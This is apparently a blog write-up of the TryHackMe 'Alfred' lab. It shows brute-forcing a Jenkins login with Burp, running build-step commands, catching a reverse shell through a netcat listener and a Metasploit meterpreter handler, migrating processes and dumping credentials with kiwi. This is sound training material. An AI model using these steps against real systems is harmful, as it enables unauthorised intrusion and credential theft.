TryHackMe Writeup: Alfred

We will start off by enumerating the provided host for common web ports using the browser (80,8080,443)

Port 80 returns a relatively empty web page:

Port 8080 returns a Jenkins login page

Port 443 returns nothing. Lets focus on the login form. When submitting credentials, you’ll notice the application throws an error: Invalid username or password

Lets use that error to set up a brute force attack. You can use Hydra if you’d like, but I’m going to show you how to do it with burp.

Intercept login request and send to intruder

Select “Clusterbomb” as your attack type

Modify referrer to point to http://10.10.170.185:8080/login

Select the j_username and j_password parameter data, and click the “Add” button

In the “Payloads” tab:

Set payload 1 as simple list, and add your userlist (I used a common cred list)

Set payload 2 as simple list, and add your pass list

Options tab:

Under GREP — MATCH, add your error string

Change “Follow redirections” to “Always”

Start the attack

When the attack is complete, you should get a 200 response as well as the PGREP being unchecked for one set of creds. Lets use those to log in

While playing around with some of the features, you’ll notice that the project configuration section allows you to run an arbitrary commands during build. In this case, we’ll do a simple directory list

dir

Now, just click “Save”, and then “Build Now” on the left hand side of the page

Under permalinks, select the latest build and view the results under “Console Output”

Sweet, it worked. Now lets try to execute a reverse shell using the payload given by TryHackMe. First, set up an http server to serve up the indicated file by navigating to the scripts directory and entering the following:

python3 -m http.server 1337

Then, lets open a different terminal, and set up a netcat listener

nc -nvlp 1338

Now, lets go ahead and execute the given payload by putting the payload in the build’s command window, and building the file

Success! Now, lets read that user.txt file. In this case, the file appears to be on Bruce’s desktop.

Now, we need to somehow escalate privileges. We can go several routes with this, but I’m going to choose the most simple…. With meterpreter. So lets create a reverse tcp shell and upload it the same way we uploaded the powershell file. First, lets set up a listener in Metasploit so that we can leverage metasploits features

use multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.9.240.85

set lport 4444

exploit -j -z

Now lets create, upload and invoke the payload

Got eem!

Now, we only have bruces permissions. So lets try a “getsystem” command in meterpreter…

Alternatively, we can use incognito to escalate our privileges by using token impersonation as indicated on the TryHackMe guide for this machine. Now, lets migrate into a 64 bit process with SYSTEM privs. Identify your process, identify a 64 bit system process, then migrate.

getpid

ps

migrate 668

Perfect. So before I attempt to read the flag as indicated by TryHackMe, I’m going to see if I can get credentials from memory

load kiwi

creds_all

After noting his password, I am now going to go ahead and drop into a shell and try to read the root flag

Sweet! We have completed this lab. Naturally, you may want to consider doing some more post-exploitation and also see if your discovered creds could be put to good use. As for me, I’m grabbing a beer!

--

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Privacy Data Mismanagement Challenge

Openssl for IOT system security development series (Part 3) — Work with PKCS12 secure container

SafeTesla DAO

8 Fintech Buzzwords for Beginners: Fintech Jargons — Bright

fintech-buzzword-for-beginners

Freedom Gateway’s Official Rebuke of the Treasuries Holiday Rule Proposal

How To Hack Any Website

Privacy Policy

Podcasting about the copyleft trolls who tried to shake me down

A hand on a multibutton mouse, the body behind it is blurred and out-of-focus; a larger ‘DANGER’ label in red, white and black, has been superimposed over it. Image: Nenad Stojkovic (modified) https://commons.wikimedia.org/wiki/File:Hand_on_the_computer_mouse_-_50202556601.jpg CC BY 2.0: https://creativecommons.org/licenses/by/2.0/deed.en

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
PwnPalace

PwnPalace

More from Medium

RootMe Writeup

Driver — Hackthebox Walkthrough

HTB impossible password write-up

TryHackMe Undercover Official Writeup